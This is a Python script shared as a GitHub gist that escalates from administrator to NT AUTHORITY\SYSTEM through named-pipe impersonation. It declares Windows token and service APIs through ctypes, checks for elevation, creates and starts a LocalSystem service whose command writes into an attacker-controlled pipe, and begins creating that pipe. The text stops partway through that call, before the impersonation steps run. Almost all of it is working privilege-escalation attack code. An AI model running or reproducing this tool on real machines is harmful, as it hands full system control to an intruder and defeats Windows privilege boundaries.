Skip to content

Instantly share code, notes, and snippets.

@makelariss
Last active December 17, 2021 05:31
Show Gist options
  • Star 6 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save makelariss/09b816daa16f020d188c289fd401b0b2 to your computer and use it in GitHub Desktop.
Save makelariss/09b816daa16f020d188c289fd401b0b2 to your computer and use it in GitHub Desktop.
NT AUTHORITY\SYSTEM through Named Pipe Impersonation using Python
# -*- coding: UTF-8 -*-
from ctypes.wintypes import *
from ctypes import *
from enum import IntEnum
# These libraries have the APIs we need
kernel32 = WinDLL('kernel32', use_last_error=True)
advapi32 = WinDLL('advapi32', use_last_error=True)
psapi = WinDLL('psapi.dll', use_last_error=True)
# Define structures
# https://docs.python.org/2/library/ctypes.html#structures-and-unions
# The SECURITY_IMPERSONATION_LEVEL enumeration contains values that specify security impersonation levels. Security impersonation levels govern the degree to which a server process can act on behalf of a client process.
# or https://gist.github.com/christoph2/9c390e5c094796903097 # https://msdn.microsoft.com/en-us/library/windows/desktop/aa379572(v=vs.85).aspx
class SECURITY_IMPERSONATION_LEVEL(c_int): # typedef enum _SECURITY_IMPERSONATION_LEVEL {
SecurityAnonymous = 0 # SecurityAnonymous The server process cannot obtain identification information about the client, and it cannot impersonate the client.
SecurityIdentification = SecurityAnonymous + 1 # SecurityIdentification The server process can obtain information about the client, such as security identifiers and privileges, but it cannot impersonate the client.
SecurityImpersonation = SecurityIdentification + 1 # SecurityImpersonation The server process can impersonate the client's security context on its local system.
SecurityDelegation = SecurityImpersonation + 1 # SecurityDelegation The server can impersonate the client's security context on remote systems.
class c_enum(IntEnum): # A ctypes-compatible IntEnum superclass that implements the class method
@classmethod # https://docs.python.org/3/library/functions.html#classmethod
def from_param(cls, obj): # Define the class method `from_param`.
return c_int(cls(obj)) # The obj argument to the from_param method is the object instance, in this case the enumerated value itself. Any Enum with an integer value can be directly cast to int. TokenElevation -> TOKEN_INFORMATION_CLASS.TokenElevation
# The TOKEN_INFORMATION_CLASS enumeration contains values that specify the type of information being assigned to or retrieved from an access token
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa379626(v=vs.85).aspx
class TOKEN_INFORMATION_CLASS(c_enum): # typedef enum _TOKEN_INFORMATION_CLASS {
TokenElevation = 20 # TokenElevationType The buffer receives a TOKEN_ELEVATION_TYPE value that specifies the elevation level of the token.
# The TOKEN_TYPE enumeration contains values that differentiate between a primary token and an impersonation token.
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa379633(v=vs.85).aspx
class TOKEN_TYPE(c_enum): # typedef enum tagTOKEN_TYPE {
TokenPrimary = 1 # TokenPrimary Indicates a primary token.
TokenImpersonation = 2 # TokenImpersonation Indicates an impersonation token.
LPVOID = c_void_p
LPTSTR = c_void_p
LPBYTE = c_char_p
# Specifies the window station, desktop, standard handles, and appearance of the main window for a process at creation time.
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx
class STARTUPINFO(Structure): # typedef struct _STARTUPINFO
_fields_ = [ # {
('cb', DWORD), # DWORD cb;
('lpReserved', LPTSTR), # LPTSTR lpReserved;
('lpDesktop', LPTSTR), # LPTSTR lpDesktop;
('lpTitle', LPTSTR), # LPTSTR lpTitle;
('dwX', DWORD), # DWORD dwX;
('dwY', DWORD), # DWORD dwY;
('dwXSize', DWORD), # DWORD dwXSize;
('dwYSize', DWORD), # DWORD dwYSize;
('dwXCountChars', DWORD), # DWORD dwXCountChars;
('dwYCountChars', DWORD), # DWORD dwYCountChars;
('dwFillAttribute', DWORD), # DWORD dwFillAttribute;
('dwFlags', DWORD), # DWORD dwFlags;
('wShowWindow', WORD), # WORD wShowWindow;
('cbReserved2', WORD), # WORD cbReserved2;
('lpReserved2', LPBYTE), # LPBYTE lpReserved2;
('hStdInput', HANDLE), # HANDLE hStdInput;
('hStdOutput', HANDLE), # HANDLE hStdOutput;
('hStdError', HANDLE) # HANDLE hStdError;
] # }
# Contains information about a newly created process and its primary thread. It is used with the CreateProcess, CreateProcessAsUser, CreateProcessWithLogonW, or CreateProcessWithTokenW function.
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms684873(v=vs.85).aspx
class PROCESS_INFORMATION(Structure): # typedef struct _PROCESS_INFORMATION
_fields_ = [ # {
('hProcess', HANDLE), # HANDLE hProcess;
('hThread', HANDLE), # HANDLE hThread;
('dwProcessId', DWORD), # DWORD dwProcessId;
('dwThreadId', DWORD) # DWORD dwThreadId;
] # }
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms684323(v=vs.85).aspx += https://msdn.microsoft.com/en-us/library/windows/desktop/ms683500(v=vs.85).aspx
SERVICES_ACTIVE_DATABASE = "ServicesActive"
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx#access_rights_for_the_service_control_manager
SC_MANAGER_CONNECT = 0x0001 # Required to connect to the service control manager.
SC_MANAGER_CREATE_SERVICE = 0x0002 # Required to call the CreateService function to create a service object and add it to the database.
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx#access_rights_for_a_service
SERVICE_START = 0x0010 # Required to call the StartService function to start the service.
SERVICE_WIN32_OWN_PROCESS = 0x00000010 # Service that runs in its own process.
SERVICE_DEMAND_START = 0x00000003 # A service started by the service control manager when a process calls the StartService function.
SERVICE_ERROR_IGNORE = 0x00000000 # The startup program ignores the error and continues the startup operation.
DELETE = 0x00010000 # Required to call the DeleteService function to delete the service.
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa365150(v=vs.85).aspx
PIPE_ACCESS_DUPLEX = 0x00000003 # The pipe is bi-directional; both server and client processes can read from and write to the pipe.
PIPE_TYPE_BYTE = 0x00000000 # Data is written to the pipe as a stream of bytes.
PIPE_WAIT = 0x00000000 # Blocking mode is enabled. When the pipe handle is specified in the ReadFile, WriteFile, or ConnectNamedPipe function, the operations are not completed until there is data to read, all data is written, or a client is connected. Use of this mode can mean waiting indefinitely in some situations for a client process to perform an action.
PIPE_UNLIMITED_INSTANCES = 255 # The maximum number of instances that can be created for this pipe. Acceptable values are in the range 1 through PIPE_UNLIMITED_INSTANCES (255).
# A bitfield that determines whether certain STARTUPINFO members are used when the process creates a window | https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx
STARTF_USESHOWWINDOW = 0x00000001 # The wShowWindow member contains additional information.
# dwLogonFlags [in]
LOGON_NETCREDENTIALS_ONLY = 0x00000002 # Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials.
# dwCreationFlags [in] | https://msdn.microsoft.com/en-us/library/windows/desktop/ms682434(v=vs.85).aspx
SW_SHOW = 5 # Activates the window and displays it in its current size and position.
CREATE_NEW_CONSOLE = 0x00000010 # The new process has a new console, instead of inheriting the parent's console.
# Standard access rights | https://msdn.microsoft.com/en-us/library/windows/desktop/aa379607(v=vs.85).aspx
SYNCHRONIZE = 0x00100000 # The right to use the object for synchronization. This enables a thread to wait until the object is in the signaled state.
DELETE = 0x00010000 # The right to delete the object
READ_CONTROL = 0x00020000 # The right to read the information in the object's security descriptor, not including the information in the system access control list (SACL). To read or write the SACL, you must request the ACCESS_SYSTEM_SECURITY access right.
WRITE_DAC = 0x00040000 # Required to modify the DACL in the security descriptor for the object.
WRITE_OWNER = 0x00080000 # Required to change the owner in the security descriptor for the object.
STANDARD_RIGHTS_READ = READ_CONTROL # Currently defined to equal READ_CONTROL
STANDARD_RIGHTS_WRITE = READ_CONTROL # Currently defined to equal READ_CONTROL
STANDARD_RIGHTS_REQUIRED = 0x000F0000 # Combines DELETE, READ_CONTROL, WRITE_DAC, and WRITE_OWNER access
# Process access rights for OpenProcess # https://msdn.microsoft.com/en-us/library/windows/desktop/ms684880(v=vs.85).aspx
PROCESS_CREATE_PROCESS = 0x0080 # Required to create a process.
PROCESS_CREATE_THREAD = 0x0002 # Required to create a thread.
PROCESS_DUP_HANDLE = 0x0040 # Required to duplicate a handle using DuplicateHandle.
PROCESS_QUERY_INFORMATION = 0x0400 # Required to retrieve certain information about a process, such as its token, exit code, and priority class = see OpenProcessToken #.
PROCESS_QUERY_LIMITED_INFORMATION= 0x1000 # Required to retrieve certain information about a process = see GetExitCodeProcess, GetPriorityClass, IsProcessInJob, QueryFullProcessImageName #. A handle that has the PROCESS_QUERY_INFORMATION access right is automatically granted PROCESS_QUERY_LIMITED_INFORMATION. Windows Server 2003 and Windows XP: This access right is not supported.
PROCESS_SET_INFORMATION = 0x0200 # Required to set certain information about a process, such as its priority class = see SetPriorityClass #.
PROCESS_SET_QUOTA = 0x0100 # Required to set memory limits using SetProcessWorkingSetSize.
PROCESS_SUSPEND_RESUME = 0x0800 # Required to suspend or resume a process.
PROCESS_TERMINATE = 0x0001 # Required to terminate a process using TerminateProcess.
PROCESS_VM_OPERATION = 0x0008 # Required to perform an operation on the address space of a process = see VirtualProtectEx and WriteProcessMemory #.
PROCESS_VM_READ = 0x0010 # Required to read memory in a process using ReadProcessMemory.
PROCESS_VM_WRITE = 0x0020 # Required to write to memory in a process using WriteProcessMemory.
PROCESS_ALL_ACCESS = (PROCESS_CREATE_PROCESS # All possible access rights for a process object.
| PROCESS_CREATE_THREAD
| PROCESS_DUP_HANDLE
| PROCESS_QUERY_INFORMATION
| PROCESS_QUERY_LIMITED_INFORMATION
| PROCESS_SET_INFORMATION
| PROCESS_SET_QUOTA
| PROCESS_SUSPEND_RESUME
| PROCESS_TERMINATE
| PROCESS_VM_OPERATION
| PROCESS_VM_READ
| PROCESS_VM_WRITE
| SYNCHRONIZE)
# Token access rights | https://msdn.microsoft.com/en-us/library/windows/desktop/aa374905(v=vs.85).aspx
TOKEN_ADJUST_PRIVILEGES = 0x00000020 # Required to enable or disable the privileges in an access token
TOKEN_QUERY = 0x00000008 # Required to query an access token
TOKEN_ASSIGN_PRIMARY = 0x0001 # Required to attach a primary token to a process. The SE_ASSIGNPRIMARYTOKEN_NAME privilege is also required to accomplish this task
TOKEN_DUPLICATE = 0x0002 # Required to duplicate an access token
TOKEN_IMPERSONATE = 0x0004 # Required to attach an impersonation access token to a process
TOKEN_QUERY_SOURCE = 0x0010 # Required to query the source of an access token
TOKEN_ADJUST_GROUPS = 0x0040 # Required to adjust the attributes of the groups in an access token
TOKEN_ADJUST_DEFAULT = 0x0080 # Required to change the default owner, primary group, or DACL of an access token
TOKEN_ADJUST_SESSIONID = 0x0100 # Required to adjust the session ID of an access token. The SE_TCB_NAME privilege is required
TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY) # Combines STANDARD_RIGHTS_READ and TOKEN_QUERY.
TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED # Combines all possible access rights for a token.
| TOKEN_ASSIGN_PRIMARY
| TOKEN_DUPLICATE
| TOKEN_IMPERSONATE
| TOKEN_QUERY
| TOKEN_QUERY_SOURCE
| TOKEN_ADJUST_PRIVILEGES
| TOKEN_ADJUST_GROUPS
| TOKEN_ADJUST_DEFAULT
| TOKEN_ADJUST_SESSIONID)
#Retrieves the calling thread's last-error code value. The last-error code is maintained on a per-thread basis. Multiple threads do not overwrite each other's last-error code.
GetLastError = windll.kernel32.GetLastError # https://msdn.microsoft.com/en-us/library/windows/desktop/ms679360(v=vs.85).aspx
GetLastError.restype = DWORD # DWORD WINAPI GetLastError(void);
# Retrieves a pseudo handle for the current process
GetCurrentProcess = kernel32.GetCurrentProcess # https://msdn.microsoft.com/en-us/library/windows/desktop/ms683179(v=vs.85).aspx
GetCurrentProcess.restype = HANDLE # HANDLE WINAPI GetCurrentProcess(void);
# Retrieves the process identifier of the calling process
GetCurrentProcessId = kernel32.GetCurrentProcessId # https://msdn.microsoft.com/en-us/library/windows/desktop/ms683180(v=vs.85).aspx
GetCurrentProcessId.restype = DWORD # DWORD WINAPI GetCurrentProcessId(void);
# Retrieves a pseudo handle for the calling thread.
GetCurrentThread = kernel32.GetCurrentThread # https://msdn.microsoft.com/en-us/library/windows/desktop/ms683182(v=vs.85).aspx
GetCurrentThread.restype = HANDLE # HANDLE WINAPI GetCurrentThread(void);
# Closes an open object handle.
CloseHandle = kernel32.CloseHandle # https://msdn.microsoft.com/en-us/library/windows/desktop/ms724211(v=vs.85).aspx
CloseHandle.restype = BOOL # BOOL WINAPI CloseHandle
CloseHandle.argtypes = [ # (
HANDLE # HANDLE hObject
] # );
PHANDLE = POINTER(HANDLE)
# The OpenProcessToken function opens the access token associated with a process
OpenProcessToken = advapi32.OpenProcessToken # https://msdn.microsoft.com/en-us/library/windows/desktop/aa379295(v=vs.85).aspx
OpenProcessToken.restype = BOOL # BOOL WINAPI OpenProcessToken(
OpenProcessToken.argtypes = [ # (
HANDLE, # HANDLE ProcessHandle,
DWORD, # DWORD DesiredAccess,
PHANDLE # PHANDLE TokenHandle
] # );
LPDWORD = PDWORD = POINTER(DWORD)
# The GetTokenInformation function retrieves a specified type of information about an access token
GetTokenInformation = advapi32.GetTokenInformation # https://msdn.microsoft.com/en-us/library/windows/desktop/aa446671(v=vs.85).aspx
GetTokenInformation.restype = BOOL # BOOL WINAPI GetTokenInformation
GetTokenInformation.argtypes = [ # (
HANDLE, # HANDLE TokenHandle,
c_int, # TOKEN_INFORMATION_CLASS TokenInformationClass, (TOKEN_INFORMATION_CLASS.enum (eg: TokenElevation) -> cast to int (0x14))
LPVOID, # LPVOID TokenInformation,
DWORD, # DWORD TokenInformationLength,
PDWORD # PDWORD ReturnLength
] # );
# Opens an existing local process object
OpenProcess = kernel32.OpenProcess # https://msdn.microsoft.com/en-us/library/windows/desktop/ms684320(v=vs.85).aspx
OpenProcess.restype = HANDLE # HANDLE WINAPI OpenProcess
OpenProcess.argtypes = [ # (
DWORD, # DWORD dwDesiredAccess,
BOOL, # BOOL bInheritHandle,
DWORD # DWORD dwProcessId
] # );
# Retrieves the base name of the specified module
GetModuleBaseNameA = psapi.GetModuleBaseNameA # https://msdn.microsoft.com/en-us/library/windows/desktop/ms683196(v=vs.85).aspx
GetModuleBaseNameA.restype = DWORD # DWORD WINAPI GetModuleBaseName
GetModuleBaseNameA.argtypes = [ # (
HANDLE, # HANDLE hProcess,
HMODULE, # HMODULE hModule,
LPTSTR, # LPTSTR lpBaseName,
DWORD # DWORD nSize
] # );
LPCTSTR = c_char_p
# Establishes a connection to the service control manager on the specified computer and opens the specified service control manager database.
OpenSCManager = advapi32.OpenSCManagerA # https://msdn.microsoft.com/en-us/library/windows/desktop/ms684323(v=vs.85).aspx
OpenSCManager.restype = SC_HANDLE # SC_HANDLE WINAPI OpenSCManager
OpenSCManager.argtypes = [ # (
LPCTSTR, # LPCTSTR lpMachineName,
LPCTSTR, # LPCTSTR lpDatabaseName,
DWORD # DWORD dwDesiredAccess
] # );
# Creates a service object and adds it to the specified service control manager database.
CreateService = advapi32.CreateServiceA # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682450(v=vs.85).aspx
CreateService.restype = SC_HANDLE # SC_HANDLE WINAPI CreateService
CreateService.argtypes = [ # (
SC_HANDLE, # SC_HANDLE hSCManager,
LPCTSTR, # LPCTSTR lpServiceName,
LPCTSTR, # LPCTSTR lpDisplayName,
DWORD, # DWORD dwDesiredAccess,
DWORD, # DWORD dwServiceType,
DWORD, # DWORD dwStartType,
DWORD, # DWORD dwErrorControl,
LPCTSTR, # LPCTSTR lpBinaryPathName,
LPCTSTR, # LPCTSTR lpLoadOrderGroup,
LPDWORD, # LPDWORD lpdwTagId,
LPCTSTR, # LPCTSTR lpDependencies,
LPCTSTR, # LPCTSTR lpServiceStartName,
LPCTSTR # LPCTSTR lpPassword
] # );
# Opens an existing service.
OpenService = advapi32.OpenServiceA # https://msdn.microsoft.com/en-us/library/windows/desktop/ms684330(v=vs.85).aspx
OpenService.restype = SC_HANDLE # SC_HANDLE WINAPI OpenService
OpenService.argtypes = [ # (
SC_HANDLE, # SC_HANDLE hSCManager,
LPCTSTR, # LPCTSTR lpServiceName,
DWORD # DWORD dwDesiredAccess
] # );
# Starts a service.
StartService = advapi32.StartServiceA # https://msdn.microsoft.com/en-us/library/windows/desktop/ms686321(v=vs.85).aspx
StartService.restype = bool # BOOL WINAPI StartService
StartService.argtypes = [ # (
SC_HANDLE, # SC_HANDLE hService,
DWORD, # DWORD dwNumServiceArgs,
LPCTSTR # LPCTSTR *lpServiceArgVectors
] # );
# Marks the specified service for deletion from the service control manager database.
DeleteService = advapi32.DeleteService # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682562(v=vs.85).aspx
DeleteService.restype = bool # BOOL WINAPI DeleteService(
DeleteService.argtypes = [ # (
SC_HANDLE # SC_HANDLE hService
] # )
# Closes a handle to a service control manager or service object.
CloseServiceHandle = advapi32.CloseServiceHandle # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682028(v=vs.85).aspx
CloseServiceHandle.restype = SC_HANDLE # BOOL WINAPI CloseServiceHandle
CloseServiceHandle.argtypes = [ # (
SC_HANDLE # SC_HANDLE hSCObject
] # );
LPSECURITY_ATTRIBUTES = LPVOID
SIZE_T = c_size_t
LPTHREAD_START_ROUTINE = LPVOID
# Creates a thread to execute within the virtual address space of the calling process.
CreateThread = kernel32.CreateThread # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682453(v=vs.85).aspx
CreateThread.restype = HANDLE # HANDLE WINAPI CreateThread
CreateThread.argtypes = [ # (
LPSECURITY_ATTRIBUTES, # LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T, # SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE, # LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID, # LPVOID lpParameter,
DWORD, # DWORD dwCreationFlags,
LPDWORD # LPDWORD lpThreadId
] # );
# Creates an instance of a named pipe and returns a handle for subsequent pipe operations.
CreateNamedPipe = kernel32.CreateNamedPipeA # https://msdn.microsoft.com/en-us/library/windows/desktop/aa365150(v=vs.85).aspx
CreateNamedPipe.restype = HANDLE # HANDLE WINAPI CreateNamedPipe
CreateNamedPipe.argtypes = [ # (
LPCTSTR, # LPCTSTR lpName,
DWORD, # DWORD dwOpenMode,
DWORD, # DWORD dwPipeMode,
DWORD, # DWORD nMaxInstances,
DWORD, # DWORD nOutBufferSize,
DWORD, # DWORD nInBufferSize,
DWORD, # DWORD nDefaultTimeOut,
LPSECURITY_ATTRIBUTES # LPSECURITY_ATTRIBUTES lpSecurityAttributes
] # );
LPOVERLAPPED = LPVOID
# Enables a named pipe server process to wait for a client process to connect to an instance of a named pipe.
ConnectNamedPipe = kernel32.ConnectNamedPipe # https://msdn.microsoft.com/en-us/library/windows/desktop/aa365146(v=vs.85).aspx
ConnectNamedPipe.restype = bool # BOOL WINAPI ConnectNamedPipe
ConnectNamedPipe.argtypes = [ # (
HANDLE, # HANDLE hNamedPipe,
LPOVERLAPPED # LPOVERLAPPED lpOverlapped
] # );
# Reads data from the specified file or input/output (I/O) device.
ReadFile = kernel32.ReadFile # https://msdn.microsoft.com/en-us/library/windows/desktop/aa365467(v=vs.85).aspx
ReadFile.restype = bool # BOOL WINAPI ReadFile
ReadFile.argtypes = [ # (
HANDLE, # HANDLE hFile,
LPVOID, # LPVOID lpBuffer,
DWORD, # DWORD nNumberOfBytesToRead,
LPDWORD, # LPDWORD lpNumberOfBytesRead,
LPOVERLAPPED # LPOVERLAPPED lpOverlapped
] # );
# The ImpersonateNamedPipeClient function impersonates a named-pipe client application.
ImpersonateNamedPipeClient = advapi32.ImpersonateNamedPipeClient # https://msdn.microsoft.com/en-us/library/windows/desktop/aa378618(v=vs.85).aspx
ImpersonateNamedPipeClient.restype = bool # BOOL WINAPI ImpersonateNamedPipeClient
ImpersonateNamedPipeClient.argtypes = [ # )
HANDLE # HANDLE hNamedPipe
] # );
# The OpenThreadToken function opens the access token associated with a thread.
OpenThreadToken = advapi32.OpenThreadToken # https://msdn.microsoft.com/en-us/library/windows/desktop/aa379296(v=vs.85).aspx
OpenThreadToken.restype = bool # BOOL WINAPI OpenThreadToken
OpenThreadToken.argtypes = [ # (
HANDLE, # HANDLE ThreadHandle,
DWORD, # DWORD DesiredAccess,
BOOL, # BOOL OpenAsSelf,
PHANDLE # PHANDLE TokenHandle
] # );
# The DuplicateTokenEx function creates a new access token that duplicates an existing token. This function can create either a primary token or an impersonation token.
DuplicateTokenEx = advapi32.DuplicateTokenEx # https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx
DuplicateTokenEx.restype = bool # BOOL WINAPI DuplicateTokenEx
DuplicateTokenEx.argtypes = [ # (
HANDLE, # HANDLE hExistingToken,
DWORD, # DWORD dwDesiredAccess,
LPSECURITY_ATTRIBUTES, # LPSECURITY_ATTRIBUTES lpTokenAttributes,
SECURITY_IMPERSONATION_LEVEL, # SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
TOKEN_TYPE, # TOKEN_TYPE TokenType,
PHANDLE # PHANDLE phNewToken
] # );
# Retrieves the contents of the specified variable from the environment block of the calling process.
GetEnvironmentVariable = kernel32.GetEnvironmentVariableW # https://msdn.microsoft.com/en-us/library/windows/desktop/ms683188(v=vs.85).aspx
GetEnvironmentVariable.restype = DWORD # DWORD WINAPI GetEnvironmentVariable
GetEnvironmentVariable.argtypes = [ # (
LPCWSTR, # LPCTSTR lpName,
LPWSTR, # LPTSTR lpBuffer,
DWORD # DWORD nSize,
] # )
LPSTARTUPINFO = PSTARTUPINFO = POINTER(STARTUPINFO)
LPPROCESS_INFORMATION = PPROCESS_INFORMATION = POINTER(PROCESS_INFORMATION)
# Creates a new process and its primary thread. The new process runs in the security context of the user represented by the specified token.
CreateProcessAsUser = advapi32.CreateProcessAsUserA # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682429(v=vs.85).aspx
CreateProcessAsUser.restype = bool # BOOL WINAPI CreateProcessAsUser
CreateProcessAsUser.argtypes = [ # (
HANDLE, # HANDLE hToken,
LPCTSTR, # LPCTSTR lpApplicationName,
LPTSTR, # LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES, # LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES, # LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL, # BOOL bInheritHandles,
DWORD, # DWORD dwCreationFlags,
LPVOID, # LPVOID lpEnvironment,
LPCTSTR, # LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO, # LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION # LPPROCESS_INFORMATION lpProcessInformation
] # );
# Creates a new process and its primary thread. The new process runs in the security context of the specified token.
CreateProcessWithToken = advapi32.CreateProcessWithTokenW # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682434(v=vs.85).aspx
CreateProcessWithToken.restype = bool # BOOL WINAPI CreateProcessWithTokenW
CreateProcessWithToken. argtypes = [ # (
HANDLE, # HANDLE hToken,
DWORD, # DWORD dwLogonFlags,
LPCWSTR, # LPCWSTR lpApplicationName,
LPWSTR, # LPWSTR lpCommandLine,
DWORD, # DWORD dwCreationFlags,
LPCWSTR, # LPVOID lpEnvironment,
LPCWSTR, # LPCWSTR lpCurrentDirectory,
LPSTARTUPINFO, # LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION # LPPROCESS_INFORMATION lpProcessInfo
]
def areAdminRightsEnabled():
currentToken = HANDLE()
OpenProcessToken(
GetCurrentProcess(), # _In_ ProcessHandle A handle to the process whose access token is opened. The process must have the PROCESS_QUERY_INFORMATION access permission.
TOKEN_READ, # _In_ DesiredAccess Specifies an access mask that specifies the requested types of access to the access token. These requested access types are compared with the discretionary access control list (DACL) of the token to determine which accesses are granted or denied.
byref(currentToken)) # _Out_ TokenHandle A pointer to a handle that identifies the newly opened access token when the function returns.
TokenInformation = DWORD()
ReturnLength = DWORD()
cracknak69 = GetTokenInformation(
currentToken, # _In_ TokenHandle A handle to an access token from which information is retrieved. If TokenInformationClass specifies TokenSource, the handle must have TOKEN_QUERY_SOURCE access. For all other TokenInformationClass values, the handle must have TOKEN_QUERY access.
TOKEN_INFORMATION_CLASS.TokenElevation, # _In_ TokenInformationClass Specifies a value from the TOKEN_INFORMATION_CLASS enumerated type to identify the type of information the function retrieves.
byref(TokenInformation), # _Out_opt_ TokenInformation A pointer to a buffer the function fills with the requested information. The structure put into this buffer depends upon the type of information specified by the TokenInformationClass parameter.
sizeof(TokenInformation), # _In_ TokenInformationLength Specifies the size, in bytes, of the buffer pointed to by the TokenInformation parameter. If TokenInformation is NULL, this parameter must be zero.
byref(ReturnLength)) # _Out_ ReturnLength A pointer to a variable that receives the number of bytes needed for the buffer pointed to by the TokenInformation parameter.
if TokenInformation:
currenthandle = OpenProcess(
PROCESS_ALL_ACCESS, # _In_ dwDesiredAccess The access to the process object. This access right is checked against the security descriptor for the process. If the caller has enabled the SeDebugPrivilege privilege, the requested access is granted regardless of the contents of the security descriptor.
False, # _In_ bInheritHandle If this value is TRUE, processes created by this process will inherit the handle. Otherwise, the processes do not inherit this handle.
GetCurrentProcessId()) # _In_ dwProcessId The identifier of the local process to be opened.
BaseName = (c_char * MAX_PATH)()
GetModuleBaseNameA(
currenthandle, # _In_ hProcess A handle to the process that contains the module.
None, # _In_opt_ hModule A handle to the module. If this parameter is NULL, this function returns the name of the file used to create the calling process.
byref(BaseName), # _Out_ lpBaseName A pointer to the buffer that receives the base name of the module.
sizeof(BaseName)) # _In_ nSize The size of the lpBaseName buffer, in characters.
print "[+] Process", BaseName.value,"has elevated privileges.. continuing"
return bool(TokenInformation) # NULL pointers have a False boolean value
CloseHandle(currentToken) # _In_ hObject A valid handle to an open object.
def Service(lol):
global ServiceName
serviceDBHandle = OpenSCManager(
r'\\localhost', # _In_opt_ lpMachineName The name of the target computer. If the pointer is NULL or points to an empty string, the function connects to the service control manager on the local computer.
SERVICES_ACTIVE_DATABASE, # _In_opt_ lpDatabaseName The name of the service control manager database.
SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE) # _In_ dwDesiredAccess The access to the service control manager.
if not serviceDBHandle:
raise RuntimeError("Error while connecting to the local service database using OpenSCManager: %s" %GetLastError())
print "[*] Connecting to the local service control management database"
ServiceName = u"highsenburger69"
payload = r"%COMSPEC% /c ping -n 1 127.0.0.1 >nul&&echo 'facebook.com/Nullwatch0x2/' > \\.\pipe\highsenburger69"
schService = CreateService(
serviceDBHandle, # _In_ hSCManager A handle to the service control manager database.
ServiceName, # _In_ lpServiceName The name of the service to install.
None, # _In_opt_ lpDisplayName The display name to be used by user interface programs to identify the service.
READ_CONTROL | WRITE_DAC | SERVICE_START, # _In_ dwDesiredAccess The access to the service.
SERVICE_WIN32_OWN_PROCESS, # _In_ dwServiceType The service type in our case a service that runs in its own process.
SERVICE_DEMAND_START, # _In_ dwStartType The service is started by the service control manager when a process calls the StartService function.
SERVICE_ERROR_IGNORE, # _In_ dwErrorControl The severity of the error, and action taken, if this service fails to start in our case The startup program ignores the error and continues the startup operation.
payload, # _In_opt_ lpBinaryPathName The fully qualified path to the service binary file. The path can also include arguments for an auto-start service.
None, # _In_opt_ lpLoadOrderGroup The names of the load ordering group of which this service is a member. Specify NULL or an empty string if the service does not belong to a group.
None, # _Out_opt_ lpdwTagId A pointer to a variable that receives a tag value that is unique in the group specified in the lpLoadOrderGroup parameter. Specify NULL if you are not changing the existing tag.
None, # _In_opt_ lpDependencies A pointer to a double null-terminated array of null-separated names of services or load ordering groups that the system must start before this service. Specify NULL or an empty string if the service has no dependencies.
None, # _In_opt_ lpServiceStartName The name of the account under which the service should run. If this parameter is NULL, CreateService uses the LocalSystem account.
None) # _In_opt_ lpPassword The password to the account name specified by the lpServiceStartName parameter.
if not schService:
raise RuntimeError("Error while creating our service using CreateService: %s" %GetLastError())
print "\t[+] Creating service:", ServiceName
serviceHandle = OpenService(
serviceDBHandle, # _In_ hSCManager A handle to the service control manager database.
ServiceName, # _In_ lpServiceName The name of the service to be opened.
SERVICE_START) # _In_ dwDesiredAccess The access to the service.
print "\t[+] Starting our service"
StartService(
serviceHandle, # _In_ hService A handle to the service.
0, # _In_ dwNumServiceArgs The number of strings in the lpServiceArgVectors array. If lpServiceArgVectors is NULL, this parameter can be zero.
None) # _In_opt_ lpServiceArgVectors If there are no arguments, this parameter can be NULL.
CloseServiceHandle(serviceDBHandle) # _In_ hSCObject A handle to the service control manager object or the service object to close.
CloseServiceHandle(schService) # _In_ hSCObject A handle to the service control manager object or the service object to close.
def Deleteservice():
print "[*] Performing cleanup"
serviceDBHandle = OpenSCManager(
r'\\localhost', # _In_opt_ lpMachineName The name of the target computer. If the pointer is NULL or points to an empty string, the function connects to the service control manager on the local computer.
SERVICES_ACTIVE_DATABASE, # _In_opt_ lpDatabaseName The name of the service control manager database.
SC_MANAGER_CONNECT) # _In_ dwDesiredAccess The access to the service control manager.
serviceHandle = OpenService(
serviceDBHandle, # _In_ hSCManager A handle to the service control manager database.
ServiceName, # _In_ lpServiceName The name of the service to be opened.
DELETE) # _In_ dwDesiredAccess The access to the service.
DeleteService(serviceHandle) # _In_ hService A handle to the service.
print "\t[+] Deleted service:", ServiceName
CloseServiceHandle(serviceDBHandle) # _In_ hSCObject A handle to the service control manager object or the service object to close.
INVALID_HANDLE_VALUE = c_void_p(-1).value
if not areAdminRightsEnabled():
print "Sorry this technique requires Administrative Privileges...."
else:
hPipe = CreateNamedPipe(
r"\\.\pipe\highsenburger69", # _In_ lpNamed The unique pipe name.This string must have the following form: \\.\pipe\pipename
PIPE_ACCESS_DUPLEX, # _In_ dwOpenMode The open mode in our case the pipe is bi-directional; both server and client processes can read from and write to the pipe.
PIPE_TYPE_BYTE | PIPE_WAIT, # _In_ dwPipeMode The pipe mode.
